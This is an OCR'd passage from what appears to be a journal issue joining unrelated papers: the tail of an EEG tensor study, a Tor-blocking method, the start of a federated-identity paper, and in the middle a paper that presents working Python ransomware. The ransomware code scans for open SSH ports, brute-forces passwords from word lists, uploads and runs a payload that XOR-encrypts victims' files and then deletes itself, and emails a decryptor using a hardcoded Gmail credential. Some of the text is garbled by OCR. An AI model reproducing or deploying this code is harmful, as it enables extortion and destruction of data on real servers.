highest noise levels, as compared to CPD if the Rank of
the models is larger than 1.

Transferring Spatial and Temporal factors

Transferring the most discriminative spatial and tem-
poral factor from a low-noise dataset to the decomposi-
tion of the highest-noise dataset improves the clustering
for both the CPD and LL1 up to 83% and 81%, respec-
tively. This procedure can be best compared to transfer-
ring knowledge of the same subject in between different
conditions or recordings. Fig. 5 illustrates the clustering
results on the highest noise level and the origin of the
fixed component: the noise-free case, or one of the other
three noise levels. Surprisingly, the transferred spatial
and temporal factor from the noise-free (i.e., noise level
0) component is not very efficient in the highest noise
dataset, as is evident from the blue line in Fig. 5. Note
that these results are not dependent on the number of
components. This is to be expected, as the first component
is always fixed and already contains a good estimate of the
P300 signal of interest, and therefore the other compo-
nents are mostly filled by noise. For almost all presented
fixed factor decompositions, the fixed component was the
most discriminative. This removes the need for compo-
nent selection but requires label information of the data
tensor that the factors were taken from, rendering the
method supervised.

Data Science

15




16

8 (P 1-Fixed Factor L1 1-Fixed Factor

80;\\A& —

75

E’m

<65
— Noise level 0
60 — Noise level 1
Noise level 2
55 — Noise level 3

— Single model Reference
0
523456789102345678910

Number of components

Fig. 5. Accuracies of CPD and LL1 with a fixed factor
for the highest noise condition. Each line represents
a different noise level from which the best spatial and
temporal factors were identified to be fixated in the
highest noise dataset decomposition.

Coupled models of low and high noise

With the coupled models, we aim to increase the clus-
tering of the highest noise level, as here, the single-model
results fall short of supervised alternatives such as the
rLDA presented here. Clustering the highest noise con-
dition (SNR = 0.60) through a structured coupled CPD
with a dataset from one of the lower noise-level datasets
resulted in a clustering percentage of 81.9% (+ 2.0), 80.3%
(£2.7), 79.4% (+2.5) and 78.3% (+3.0) for the lowest to
highest noise dataset. These values are significantly higher
compared to the single CPD model (i.e., 71.0% (£7.1)).
Similarly, the single model LL1 estimate (62.9% (+3.2))
could be improved substantially for the noisiest dataset
when coupled to one of the four lower- noise-level sets,
82.9% (£ 2.4), 82.1% (+3.3), 75.7% (£3.7) and 64.2%

(£3.4) from low to high noise, respectively. Fig. 6 depicts
the influence of the noise level of the dataset that was
jointly decomposed and the dependency on the Rank of
the models for CPD and LLI. Specifying the number of
components appears more crucial for LL1 as compared
to CPD: for the former, higher ranks are required when
coupled to noisier level datasets (c.q. noise level 0-1 to
2-3). In summary, these results are similar to the fixed-
factor results presented in the previous paragraph without
the need of specific label information.

85 0 Coupled 111 Coupled

— Noise level 0

— Noise level 1

Noise level 2

— Noise level 3

— Single model Reference

N34 56 78§ 9101 23 4 567
Number of components

8 9 10

Fig. 6. The CPD and LL1 clustering accuracy of the
highest-noise-level dataset if it was coupled to one of
the lowest four noise levels (indicated as level 0-3) in

contrast to the number of components
in the decomposition.

Coupling in the Trial Dimension

The coupling of several datasets of the highest noise
level with a shared trial mode results in improved clus-
tering of the stimuli in the highest noise condition.

Noise level 1 Noise level 2
100 100
90
&
e 80
7
s —
- = =BTD
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12345678910 123456780910
Number Of Components
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Fig. 4. Average clustering percentage of the CPD and LL1 method for each of the four noise levels, dependent on the number of components considered in
the models.

Fig. 4. Average clustering percentage of the CPD and LL1 method for each of the four noise levels, dependent on the
number of components considered in the models.
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Fig. 7 illustrates the clustering percentage in relation to
the number of coupled datasets. Evidently there is a linear
increase in the number of datasets that are combined
and provide near 100% separation in the case of five
simultaneously decomposed datasets. Moreover, these
results are not dependent on the number of components
aslong as R >1.

Fig. 7. Clustering percentage in relation to the number
of coupled datasets in the trial-mode for the highest-
noise-level dataset (SNR = 0.60). Each line corresponds
to a different Rank.

5. DISCUSSION AND CONCLUSION

Recently, it was shown that auditory BCI classifica-
tions can be performed in real life environments [8, 12].
However, the need for initial training of supervised clas-
sifiers on large parts of that data discourages practical
application. Faster interaction with a BCI would likely
increase user interest and engagement. Here, we explored
the incorporation of structural information into the analy-
sis in several ways to increase data- driven clustering of
target and non-target trials. The current study carefully
simulated P300 ERP data from 15 subjects at 5 different
noise levels, mimicking realistic settings. We showed
that a simple single CPD or LL1 model is able, without
supervision, to separate signal and noise in simulated
single- trial P300 ERP data (e.g. the components that
represent the N100, P300 and noise in Fig. 3). At low noise
levels, these models perform equally to that of supervised
rLDA, which requires specific label and training phases
(table 1.). In contrast, the CPD and LL1 models lack the
ability to achieve high performance for low SNR datasets.
For the highest-noise dataset (SNR=0.60), we illustrated
that imposing a coupling to datasets with a lower noise
level can significantly improve the extracted clusters to
classify target from non-target trials to achieve equal
accuracy to rLDA for both the CPD and LL1 (Fig 6.).
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These structured models function without a training
phase or label information, although they require ad-
ditional data. Transferring a derived spatiotemporal
component from a low- to high-noise dataset resulted
in a similar improvement of the clustering, albeit in a
supervised way; the best component on the low noise
dataset has to be determined beforehand. Finally, we il-
lustrated the potential of coupled models for the analysis
of simultaneous EEG recordings in which the trial mode
is shared between subjects. Without a priori knowledge of
the signal of interest, the tensor-based models successfully
separated the two stimuli classes in the highest noise sce-
nario up to 100% for coupling of five simulated subjects.

The finding that CPD and LL1 models did not surpass
the rLDA classification suggests that the limiting factor
in this case for the separation is the lack of task-related
P300 ERPs. Further extension of the presented approaches
could be to identify which of the extracted clusters rep-
resents the target stimuli, based on the spatiotemporal
modes of the component. Adding additional constraints
(e.g. independence or sparsity) on the factors in the ten-
sors models might improve the clustering performance
[21]. The LL1 models estimate a higher number of pa-
rameters, compared to the CPD (at equal Rank). Whether
this is the cause of the lower results at higher noise levels
compared to CPD remains an unanswered question. One
potential reason could be that the LL1 models over-fit to
the noise, because, at these SNR levels, the level of noise
is substantially higher than the P300 signal.

In summary, these results highlight the benefits of
exploiting structure in the stimuli and experimental setup
for classification of single-trial EEG data.
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Abstract:

This paper presents an approach to developing ransomware in Python pro-
gramming language. Malicious code exploits vulnerabilities resulting from the
weak passwords on Linux servers. Ransomware employs Nmap to determine
if SSH port is open, and if it is, it enters the victim via SSH protocol. Files are
encrypted using stream cypher based on pseudorandom number generator.
Analysis of existing ransomware is also given in this paper.
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1. INTRODUCTION TO RANSOMWARE

Ransomware represents a digital mechanism of extortion. Ransom-
ware can formally be defined as malicious software which encrypts files
from the attacked computer, than displays the instructions about way of
ransom payment to the user of infected computer so he can get the key
for decrypting files. Ransomware frequently uses algorithms resistant to
cryptanalitical attack, so it is impossible to get to the key for decrypting in
reasonable period of time (excluding direct attack on key server, if it exists).
In other words, user of infected computer needs to choose between extor-
tion paying and permanent data lost (if he does not have copy of them).

In worse case, ransomware besides encrypting data restricts access to
the operating system (certain system data are being encrypted). In this
case, after the first restart of infected computer, window, in which alleg-
edly MUP, FBI or some common organization is warning user that the
computer is locked for some illegal activities, appears.

Ransomware is spreading like a trojan and infects system via down-
loaded files or using vulnerabilities in network services. One of the most
widespread ways of infecting computer by ransomware is based on guid-
ance of the victim to access links in e-mail. The other way of spreading
is via attachment of e-mail. Executive file with attractive name is usually
set in attachment, represented as ZIP file or image. Message is structured
to guide the victim to open the file in attachment.

Protection from ransomware includes making copies of data on a
regular basis, self-education of the users and using softwares for protect-
ing from malicious programs (antiviruses).
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2. FIRST RANSOMWARE FOR LINUX
SYSTEMS: LINUX.ENCODER.1

Linux.Encoder.1 (ELF/Filecoder.A or Trojan.Linux.
Ransom.A) is considered to be the first ransomware trojan
which aims at computers working under Linux operating
system. Linux.Encoder.1 is being executed from distant
location using security flow in Magento software. After
activation, ransomware encrypts certain types of files
which are set on local and network file systems using
hybrid RSA/AES cryptosystem. Public RSA keys are used
for encrypting session AES keys, and private keys are set in
ransomware control servers. After that, Linux.Encoder.1
sets in every directory a "readme_to_decrypt.txt" file with
a message which informs user that it is necessary to pay
ransom via Bitcoin, and after that he can get a private key.

After running with root privileges, program loads two
files in memory: "./readme.crypto” and "./index.crypto".

When ransomware gets public RSA key, daemon
process starts running and deletes its files. Daemon en-
crypts files with these extensions and deletes the originals:

"won "won "on "won "o

".php", "html", ".tar", ".gz", ".sql", ".js", ".css", ".txt" ".pdf",
n n n Ul " Ul " e n n n n " " "non 3 n
tgz", ".war", "jar", "java", ".class", ".ruby", ".rar" ".zip",
".db", ".72", ”.dOC", ”.pdf", ".Xls", |v'pr0pertiesu’ ".Xml" ".jpg“,
n s

Jpeg
||‘wmaﬂ, ll‘aacﬂ, ll‘wavﬂ’ ”_pem"’ ”'publl, "‘dOCX", ||‘apk|l "‘eXe”’

"on "won 1 "on

sLnon "non nn "
,".png", ".gif", ".mov", ".avi", ".wmv", ".mp3" ".mp4",

Yl.dllﬂ, ||.tplﬂ’ H‘psd"’ ”‘asp”) ".Phtmlﬂ, “.ast”’ ".CSV".
Files with these extensions are being encrypted in

"on "o

next directories: "/home", "/root", "/var/lib/mysql", "/var/

www", "/etc/nginx", "/etc/apache2”, "/var/log".

Based on the list of extensions and directories, we have
come to a conclusion that the goal for ransom are user’s
personal files and files necessary for Web servers and
MySQL databases. Linux.Encoder.1 encrypts all data in
directory whose name starts with "public—_html", "www",
" it "
not encrypt files in root directory or directories which

"webapp", "backup .svn". Linux.Encoder.1 does
contain commands necessary for main functionality of
operating system: / ,/bin, /usr/bin, or configuration files.

3. REALIZATION OF RANSOMWARE

The conception of ransomware in our case is to be
applicable on Linux platforms, more precisely Linux
servers, because of the fact that the servers often have
ssh service, which allows users and administrators to
remotely control and save uploaded files on server. The
program is conceived to execute the attack on several
servers at once and it requires input files that contain
servers ip addresses, usernames and passwords based
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on perceiving employees, employers or simply ordinary
names and passwords.

If the user name and password are successfully stolen,
payload with unique key and “salt” value (which is used
for recognition of system that has been attacked) is be-
ing generated.

The key and unique “salt” value are saved in a database,
and generated payloads and files with instructions for
payment are being held in predefined folder payloads,
and everything for making it easier to generate the mail
which is going to contain script and instructions for files
backup after payment was made.

The main function, scan, which starts the process,
is conceived to examine if every server from the list has
opened port 22 for ssh connections. If ssh connection is
opened, that host is being separated in specific thread
in which the attack on this machine is being executed,
while in main function the examination of other hosts
continues.

def scan(hostsFile,usersFile,passwordsFile):
with open(hostsFile, 'r') as hosts:
for host in hosts:
host=host.strip('\n"')

if
ZeroDay.nmapPortScanner.\\
nmapScan (str (host),"22") : \\

t=threading.Thread (target=ZeroDay.\\
bruteForceSSH.bruteForceConnecting, \\
args=(host,usersFile, passwordsFile))
t.start ()
t.join ()

scan ("hostsFile", "usersFile", "passwordFile")

For assessment if system is vulnerable or if port is
opened for ssh connections, we are using perfect synergy
of Nmap and Python. We are creating an instance of object
PortScanner, over which we are calling the method scan,
and the method returns dictionaries with information
about the machine. The most important for us is the
segment with the information about the port (whether
it is opened or not).

def nmapScan (tgtHost, tgtPort):
nmScan=nmap . PortScanner ()
info = nmScan.scan(str (tgtHost),str (tgtPort))
state = ((info['scan'] [tgtHost]\\
["tep'] [int (tgtPort) ] ['state'])if \\
(any (info['scan'])) else "closed")
print (" [*] "+ tgtHost + " tcp/" \\
+ str(tgtPort)+" "+state)
if (state=="open"):
return True
return False
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If it is found that the port is opened, in specific thread
we are calling the next function which receives file with
usernames and passwords, and in which the lexical attack
is being executed. It is designed to try connection for every
username, and then infiltrate the payload in machine.

def bruteForceConnecting(host, usersFile,
passwordsFile) :
found=False
with open (usersFile, 'r', encoding='utf-8') \\
as users, open(passwordsFile,'r', \\
encoding='utf-8') as passwords:
for user in users:
for password in passwords:
user=str (user) .strip('\n")
password=str (password) .strip('\n'")
lock.acquire ()
time.sleep(2)

print ("Trying for :", user, " :", \\

password)

if inject (host, user,password) :
return

passwords.seek (0, 0)

Function inject is the main part of the attack, in which
we are trying to connect to the ssh server by using forward
username and password. If the connection is successful,
aunique payload for infecting the system is being gener-
ated, and then the textual file with the instructions for pay-
ment, if user wants his files back, is being generated, too.

It is important to notice that after the execution of the
payload, the same is being deleted from the computer, and
a possibility is given to the computer to make a reverse
process. The file with instructions is being set on server
after encrypting all files; therefore we cannot encrypt
the instruction.

shell = pxssh.pxssh{()
print (shell.login (host, user, password))
print ("[+] The Password has been found "\\
+ password)
scpCommand (host,user, password, payloadFolder \\
+payload[0]
time.sleep (2)
shell.sendline ( ("python3 "+4+payload[0]+" && \\
rm "+payload[0]) .encode ('utf-8"))
shell.prompt ()
print ("from prompt")
ans=shell.before.decode ('utf-8")
print (ans)
scpCommand (host, user, password, \\
payloadFoldert+payload[1l]
time.sleep(2)
shell.sendline ("1ls —-1".encode ("utf-8"))
shell.prompt ()
print ("from prompt"
ans=shell.before.decode ('utf-8")
print (ans)
return True
except Exception as e:
print (e. str 0)
finally:giockf¥elease()
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The payload is being generated by functions getPay-
load and generatePayload in which new .py file is created
which contains malicious code and unique pseudoran-
dom key generated by “salt” value and linux random,
which has a large entropy of keys, if it is used the right
way. All the keys and “salt” values are being set in sqlite
local database, therefore every key can uniquely be ob-
tained, and if the same is used in payload in database, “the
flag” is being set and it determines that the key is already
used. It is necessary to keep these flags, so the infected
computer could get a new payload for data backup, after
the payment was made.

def getPayload():
genKey ()
c = sglite3.connect \\
("/home/bizzarec/PycharmProjects/ZeroDay/ \\
RansomBase.db")
c.row_factory = sqglite3.Row
res = c.execute ("SELECT * FROM crypto ORDER BY
A\
id DESC")
row = res.fetchone ()
while row:
if(row['used']==0) :
fileNames =
genPayload(row(['salt'],row['key'])
sql ="UPDATE crypto SET used = ? WHERE \\
id = 2"
c.execute(sqgl, (1 ,row['id']))
c.commit ()
return fileNames
row = res.fetchone ()

The main part of the function for generating keys is:

def randGenerate (salt) :
return salt[:int (len(salt)/2)].encode()+ \\
os.urandom (2044)+ \\
salt[:-int (len(salt)/2)].encode ()
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On the attacked computer this malicious code is
being executed:

key = b'10\x9e\xal0EY\x160@\xc0\xa3\xaf\ .. \xe0\x1d1l0"'

lstFiles = [".php", ".html", ".tar", ".gz", ".sql",

".9s", ".css", ".txt" ".pdf",
" tgz", ".war", ".jar",
" java",".class", ".ruby", ".rar"
".zip", ".db",".7z", ".doc", ".pdf",
".xls", ".properties", ".xml" ".Jjpg",
" gpeg",".png", ".gif", ".mov",
"avi', ".wmv",".mp3" ".mp4", ".wma",
".aac",".wav", ".pem", ".pub",
".docx", ".apk" ".exe", ".dll",
".tpl", ".psd",".asp", ".phtml",
" aspx", ".csv"]

def cipher(file, key):

try:

with open(file, 'rb+') as f:
print (file)
data = bytearray(f.read())
f.seek (0)
f.write((bytearray((lambda x,y:\\
(x[1] ~ y[i % len(y)] for i in \\
range (0, len(x)))) (data, key))))
except Exception as e:
print (str(e))
def sniffFiles (directory):
if (os.path.isdir (directory)):
for dir in os.listdir (directory):
sniffFiles (directory+"/"+dir)
else:
for type in lstFiles:
if directory._ contains__ (type):
cipher (directory)
sniffFiles (os.environ["HOME']+"/")

The malicious code is written so it recursively starts
in Home directory of the attacked computer, examines if
the file is the type which we are attacking. If it is, the file
is loaded as byte code and encrypted with the key within
payload. After encryption, the user gets textual file with
the instructions for the way of payment, which says that
the user needs to give salt values and e-mail address where
the files will be sent.

4. SENDING KEY TO THE ATTACKED AFTER
PAYMENT

In the end, if the user makes a payment via Simple
Mail Transfer Protocol (SMTP), the mail is based on
specifications of rfc document with attachment, in which
the file with the instructions is as well as the script for
decrypting generated by python. This e-mail is generated
by the following code:
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msg.as_string())

text = '"’
The attachment holds the script for
decryption, start it via terminal
with command:
""" + "python3 " + fName

readIt = ''"!'

MIMEMultipart ()

msg['Subject'] = "Ransomware Decription"
me ='towardsthelights@gmail.com'
msg['To'] = victimsMail

msg.attach (MIMEText (text))

with open(file, "rb") as fil:

py = MIMEApplication(fil.read(),\\

Name=basename (fName) )

py['Content-Disposition'] = 'attachment;

filename="%s"' % basename (fName)

readMe = \\

MIMEApplication (readIt, "ReadME.txt")

readMe['Content-Disposition']="'attachment;

filename="%s""' %
basename ("ReadME. txt")

msg.attach (readMe)

msg.attach (py)
try:

smtpserver =

smtplib.SMTP ("smtp.gmail.com", 587)

smtpserver.ehlo ()

smtpserver.starttls ()

smtpserver.login (me,

'towardsthelights06310268841994")

try:
smtpserver.sendmail (me, victimsMail,\\

finally:
smtpserver.close ()
except Exception as exc:
print ("Mail failed: {}".format (exc))

From this message we can clearly conclude that we

have to transfer these files to the infected computer and

run them following the instructions.

5.

USED PROTOCOLS, TOOLS AND
LANGUAGES

SSH

SSH protocol is expected to be used for safe remote

registration on system and also for network commu-

nication via unprotected network infrastructure. SSH

is created as a replacement for telnet, and it is used for

remote program running, working in far apart command

interpreters and copying files via network. SSH consists

of three protocols: Transport Layer Protocol, User Au-

thentication Protocol and Connection Protocol. Every

SSH server has its own private/public pair of keys. By

using these keys during establishing SSH connection,

server authenticates client and enables safe arrangement

about the materials for symmetrical keys which are used

for traffic protection.

NMAP

Nmap is created as humble software by Gordon Lyon

(known as Fyodor Vaskovich). First version of Nmap
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had 2000 lines of code and it is published in 1997. in
web magazine "51 of Phrack". Considering Nmap to be
open-source software, hackers rushed on it for a short
period of time, and since then Nmap is developing rapidly.

Python

Python is one of the most rewarding "high-level" lan-
guages which enables complete control over the system.
Python is widely used language, designed to empathies
code readability, with a syntax which enables program-
mers to write concepts containing a small number of
code lines. This language supports multiple programmers’
paradigms, as object-oriented, imperative, functional and
procedural styles.

Python features a dynamic type system and automatic
memory management, and it binds method and variable
names during program execution. Similar to Ruby or LISP,
Python represents interpreted language, which means that
the code is converted in machine code and being executed
while the script is executing. Interpreted code mostly has
a benefit of huge portability on different systems while
there is an interpreter on system for the same.

6. CONCLUSION

In the past years the number of hackers’ attacks is
growing, especially the number of ransomware softwares.
Besides techniques of the attack, techniques of the en-
crypting are evolving, too, and they are being adjusted to
Linux, i0S and Android operating systems.

This paper presents an approach to developing ran-
somware in Python programming language. Software is
based on SSH protocol for distribution, using weaknesses
produced by human factor (weak password) and encrypts
files with certain extensions on attacked computer. After
payment, software sends an e-mail to the attacked by
SMTP protocol. Therefore, targeted systems are Linux
servers with opened SSH port and weak passwords.
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Abstract:

Tor is a very powerful tool for avoiding restrictions of the Internet usage in
local networks (companies or educational/public institutions). For example,
students use it on everyday basis at university computer labs. In order to
prevent such misuse from happening, most effective solutions widely known
go as far as obtaining current list of Tor nodes and updating the local network
security policy with thousands of IP addresses. In this paper, one more ef-
ficient and effective method is presented by analyzing Tor package source
code as well as aiming at core infrastructure of Tor network. This method is
much more reliable and consumes fewer resources while completing the task
with success. It is used instead of not so reliable frequent Tor nodes sniffing,
which is mainstream approach.

Keywords:
The Onion Routing, Tor, blocking Tor, Internet Censorship

1. INTRODUCTION

Tor, originally known as The Onion Routing [1], which was initially
designed for covert communications of USA Naval Intelligence Agency, was
released to public usage with original idea in mind to provide anonymity
cover for individuals who cared about own Internet privacy.

Of course, misuse of Tor is widespread. One can use it to make anony-
mous hacker attacks to various targets online, or other criminal activity [2].
During years, Internet and its usage became everyday activity in offices all
around the world. With power comes responsibility, but not everyone obeys
this concept [3]. It is customary that employees browse through various
fun content on the Internet, social networks, online video games, etc. So
equally often, Internet access in companies and educational institutions
is restricted more or less for that reason.

As a counter - counter measure, employees or other users of official
network resources use Tor to circumvent actual Internet restriction policy.

However, not only administrative employees and students use Tor.
World - class terrorists, criminals, Internet lurkers (pedophiles etc.), cor-
rupt government officials, industrial spies, the list is endless. The signifi-
cance is so high that even NSA engages dedicated resources in monitoring
Tor activity [4]. This is publicly announced by Edward Snowden and is
published in Guardian [5].
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This requires new, more advanced techniques for
blocking such culprits. Reasons for this are various, and
so are the techniques and resources used. For example,
Government agencies have vast resources for that [6].

The Great Firewall of China is one of the most notori-
ous Internet censors which blocks Tor with high success
rate [7].

As one of the most powerful and largest countries in
the world, China uses enormous computer resources to
block Tor, with high success rate. However, for individual
companies and educational institutions such resources
are unthinkable. Therefore, approach to block Tor in such
real-life scenarios is different. Tor itself is projected not to
be able to defend against this scale attacker [8].

Most widely spread method for blocking Tor, due to
limited resources, which are available to some company
or public institution, is by IP filtering [9]. This method is
tested in real-life, and proved to be borderline effective
enough as experimental results show.

In this paper, one different approach is presented. It
is based on analyzing the Tor source code and disabling
the usage of Tor by denying access not to every Tor node,
but to the Tor consensus servers, thus denying the Tor
client even the possibility to know any available Tor node
in order to connect to in the first place.

2. STANDARD METHOD FOR BLOKCING TOR
METHOD DESCRIPTION

Standard, default method of blocking Tor (excluding
in-depth packet analysis [10], which requires enormous
resources available only on government level agencies as
previously mentioned) is to obtain ever-current list of Tor
nodes and to set up corresponding rules at central gateway
in order to deny access to that pool of IP addresses, thus
blocking Tor clients that run from inside local network.
This method can be illustrated with algorithm shown
on Figure 1.

The list of currently active Tor nodes can be acquired
in various manners. One is through official Tor API or web
service/application called Atlas [10]. The other one is to
obtain “ready to use list” from third party sources [11]. As
long as this list is suitable for human user [11], it consists
of many other data, which obfuscates in certain degree us-
age of such list as “ban-list” of all IP addresses. For such
purpose, a “plain” list of IP addresses of Tor nodes [12] is
much more suitable.
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GET CURRENT
TOR NODE LIST

ERASE EXISTING
BLOCKING RULES

ADD RESTRICTION
RULE(NODE)

ACTIVATE NEW
RULESET

Fig. 1. Algorithm of standard Tor blockage method

3. REFERENCE METHOD EFFECTIVENESS,
EXPERIMENT AND RESULT

This method was put to the test of effectiveness in Medical
and Business-Technology College of Applied Studies, in three
computer labs. Labs consisted of total 68 student comput-
ers. Several hundreds of students (over 200 students of IT
dept.) used them during the experiment. The experimental
period was 60 days.

Students had been using Tor actively before the experi-
ment took place in order to circumvent current restrictions
of the Internet usage. Mostly, they had been using it for
social networking or online video games during classes.
After implementing the blockage of Tor by means of previ-
ously described method, the following results are obtained
and given in Table 1.

Unsuccessful Tor connections/
total number of tries made ratio

Description
Objective Subjective
measure impression
List refreshed every
2 hours 89% 100%
List refreshed every
1 hour 89.2% 100%
Number of IP
addresses in 6083
blacklist

Table 1. Experimental results
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Experiment showed rather high percentage of suc-
cessful Tor blocking. In reality, subjective impression
by students who tried to use Tor was that it was blocked
100%, because it took on average more than 7 minutes
for Tor clients to connect successfully to Tor node which
was not “blacklisted” in given time. By that time, students
lost patience and closed it, supposing that a connection
would never be established.

However, this method with success rate less than 90%
is not satisfactory, and needs to be improved to achieve
100% success rate if possible.

4. REFFERENCE METHOD ISSUES AND
MEANS OF IMPROVEMENT

There are two issues to this method that must be noted.
Firstly, it can cause delays in Internet traffic routing if
used on SOHO grade network router due to long list of
iterative conditions against which every network pack-
age towards the Internet must be checked. Secondly;, it
“filters” network traffic only against currently “known”
IP addresses that are Tor nodes. First limitation can be
upgraded by using more powerful resource, but second
issue is much more difficult if not impossible to overcome.
The whole concept behind presented method is that all
current tor nodes are known and blocked. However, it
cannot be done in reality due to the fact that structure
and size of the Tor network vary every second. Many Tor
clients come on- and oft-line every second. This results
in alist, which is accurate, current and acquired in a mo-
ment. Next moment, many of listed nodes can go offline
and as many, more can become online, but not known
by previously acquired list.

So, besides making irrationally frequent updates of
“blacklist”, which will raise accuracy of current available
Tor nodes list, at the same time creating even more and
more delay and router resources exhausting, it will not
completely resolve the issue.

It makes obvious that this method cannot be improved
to be very efficient no matter the costs. Solution to this
issue requires completely different approach.

5. INSIGHT APPROACH CONCEPT

Concept behind this new improved method is based
on deeper understanding of Tor infrastructure, and us-
ing its own design against it. When reading about Tor
specifications [13], [14], [15], one can focus attention
on “directory authorities” Each Tor client “reports”
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itself to server acting as directory authority. Afterwards
it refreshes its status every 18 hours.

In official Tor documentation [12], this report is called
server descriptor. Every hour these directory servers
referred as “authorities” vote on particular Tor node.
After achieving “consensus” on that node, they enlist
a specific node as regular Tor relay, so other Tor traffic
can go through or even out (if node is allowed to be an
exit, Tor relay by its immediate user). Such enlisted Tor
relays are those available to fetch and to be used as list
of currently active Tor nodes (relays), and blacklist can
be populated from it as in previously described method.

However, being “live” and very fluid, the list is never
accurate as we concluded in experiment above.

Taking a step further, instead of blocking access to
any known Tor node in a moment of time, more efficient
would be to deny Tor client neither to obtain the list in
the first time nor be able to update it afterwards.

This can be achieved by obtaining the list of above
mentioned directory authorities” servers IP addresses
and filling the blacklist with only this final and one-figure
number of IP addresses. Of course, this can be changed,
but not as near as often as Tor relays list.

The list of directory authorities together with their IP
addresses is “hardcoded” in Tor clients. Therefore, this list
can only be changed with new version release, which is
not even on daily basis, and is not obliged to be changed
with new version release, quite the contrary.

6. IMPLEMENTATION

Implementation of this method is straightforward.
First step is to obtain source code package of Tor client
current version. Since it is available from static hyperlink
[17], it is easy to incorporate it in a program code that
will accomplish the task. On that hyperlink [17] numer-
ous versions of Tor packages are located. Very simple
program code is needed to parse through the available
links to find download link for current version of source
code package. In case when no newer version of Tor has
been published, no further action is needed.

The second step is to compare previously known
version with the available one, and if unchanged, no
further action is needed. When doing this, checking on
daily basis is more than enough to achieve reasonably
high success rate. In comparison to the previous meth-
od, the check could be performed in the same way and
the whole firewall rewrite would be done every second.
If there were a new version of Tor available, third step
would be just to download the package, unpack it, and
then parse through config.c file, in order to obtain list
of current directory authorities and their IP addresses.
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Exact part of that file containing data of interest is
displayed on listing 1. IP addresses of directory authorities
are marked in bold-italic with the purpose of emphasiz-
ing them.

"128.31.0.39:9131 9695 DFC3 5FFE B861
329B 9F1A BO4C 4639 7020 CE31",
"86.59.21.38:80 847B 1F85 0344 D787 6491
A548 92F9 0493 4E4E B85D",
"194.109.206.212:80 TEA6 EAD6 FD83 083C
538F 4403 8BBF AQ77 587D D755",
"Tonga orport=443 bridge no-v2
82.94.251.203:80 "

"4A0C CD2D DC79 9508 3D73 F5D6
6710 OC8A 5831 FleD",

"turtles orport=9090 no-v2 "
"76.73.17.194:9030 F397 038A DC51 3361
35E7 B80B D99C A384 4360 292B",

"gabelmoo orport=443 no-vz "
"212.112.245.170:80 F204 4413 DAC2 EO2E
3D6B CF47 35A1 9BCA 1DE9 7281",

"dannenberg orport=443 no-v2
"193.23.244.244:80 TBE6 83E6 5D48 1413
21C5 ED92 F075 C553 64AC 7123",

"urras orport=80 no-v2
"208.83.223.34:443 O0AD3 FA88 4D18 F89E
EA2D 89C0O 1937 9EOE 7FD9 4417",

"maatuska orport=80 no-v2
"171.25.193.9:443 BD6A 8292 55CB 08E6
6FBE 7D37 4836 3586 E46B 3810",

"Faravahar orport=443 no-v2z "
"154.35.32.5:80 CFé6D OAAF B385 BE71 BS8El
11FC 5CFF 4B47 9237 33BC"

Listing 1. Part of config.c (Tor source package file)
containing directory authorities’ data

BufferedReader br = null;
int cnt=0;
try {
br = new BufferedReader(new
FileReader("config.c"));
Pattern pattern =
Pattern.compile(IPADDRESS PATTERN);
String line = br.readlLine();
while (line != null) {
if (!semafor)if
(1line.contains("authorities[] = {"))
semafor=true;
else{
Matcher matcher=Pattern.matcher(line);
if (matcher.find()){
imenik[cnt]=matcher.group();
cnt++;

if (line.contains("};")) return imenik;
line = br.readLine();

}

Listing 2. - Fragment of code parsing config.c for IP
addresses of directory authorities
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7. INSIDE APPROACH METHOD
EXPERIMENTAL RESULTS

During the same test period (60 days) in the same
facility (68 computers available to multiple students, be-
ing the same as in referenced method), by analyzing the
network activity log files, results are given in Table 2. This
experiment was made in real-life environment, due to
available resources both technical and human. However,
it can be replicated in simulated environment too [17].

Unsuccessful Tor connections/
total number of tries made ratio

Description
Objective
measure

Subjective
impression

Tor source checked
for new release 100% 100%
every 24 hours

Number of IP
addresses in 10
blacklist

Table 2. Results of experiment of new method
implementation

As shown, using this approach to block Tor, enormous
savings in CPU time and thus in network responses time
is evident. On the contrary, this is not achieved by com-
promising with security. By reducing CPU consumption
for more than 6800 times and avoiding consumption of
bandwidth for acquiring fresh list of nodes every hour,
absolute effectiveness is achieved.

8. CONCLUSION

Using an improved method presented in this paper,
with frequency of potential updates on daily basis, by
blacklisting only eight directory authorities servers,
Tor client could not be used in a controlled environ-
ment. The same was used in previous experiment, in the
same amount of time and computers/users. Picture 1.
displays one screenshot of Tor client showing error
message.
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Tor Network Settings

—
BUNDLE

Tor failed to establish a Tor network connection.

Before you connectto the Tor
network, you need to provide
inf ion about this
Internet connection.

p

~ Requesting relay information failed (connection timeout).

For assistance, contact help@rttorprojectorg

‘1 Copy TorLog To Clipboard ]

= 4

Picture 1. Tor unable to connect

Most indicative is the error message in Log itself,
saying:

[NOTICE] I learned some more directory informa-
tion, but not enough to build a circuit: We need more
microdescriptors: we have 0/4728, and can only build 0%
of likely paths. (We have 0% of guards bw, 0% of midpoint
bw, and 0% of exit bw.)

So experiment shows that by implementing such a
method Tor is completely blocked on long-term basis,
long enough to “keep gates shut tight”. At the same time,
resources and CPU time used to accomplish this result
are symbolic.
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Abstract:

The paper focuses on the problem of managing multiple identities and ac-
cess to them. Detailed insight in the field of research shows the concept and
importance of federated identities and the necessity for their implementation
into a business ecosystem. The solution for identity federation is presented,
including detailed explanation of functionality and infrastructure of the se-
curity product. The significance and benefits of the security open standards
are underlined. Recommendations and predictions are made, implying the
need for change and different approach to IT security.

Keywords:
federated identities, I'T security, access management.

1. INTRODUCTION

As the global digital economy grows, the number of digital identities
rises. Consequently, the need to protect and manage collection, usage and
distribution of personal information is greater than ever. Digital identities
are the key factor in online world and finding the proper way to authenticate
the legitimate users is the greatest challenge. When digital identities are
not secured or distributed properly the exposure of information is certain.
The information is then used for illicit purposes such as identity theft.

Stolen identity is a powerful tool in today’s world. It can be used for a
coordinated insider attack, selling digital identities on the deep web, credit
card fraud, mail theft and other criminal acts. Attacks on digital identities
are rapidly evolving and the highest level of attacks are on e-commerce
and new accounts, where attacker uses personal information to create
new financial accounts. As a result, companies endure extremely negative
impact on their businesses, reputation and customer’s trust.

Digital business is a dynamic environment, technologies are chang-
ing swiftly, and organizations have new ways of conducting business,
thus implicating that information security risk becomes a top concern.
Information security and risk management are the key components that
ensure continuous improvement of planning, building and running se-
curity solutions adopted for business needs.

As a typical employee becomes more mobile and “Bring your
own identity” trend continues to grow, accessibility and availability of
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enterprise services need to be managed securely. Prob-
lem with multiple identities can be solved by using
distributed identities. Distributed identity implies the
secure exchange of identity information across one or
multiple trusted domains, providing users with the abil-
ity to use one set of login credentials to access multiple
applications.

To manage authentication mechanisms and ensure
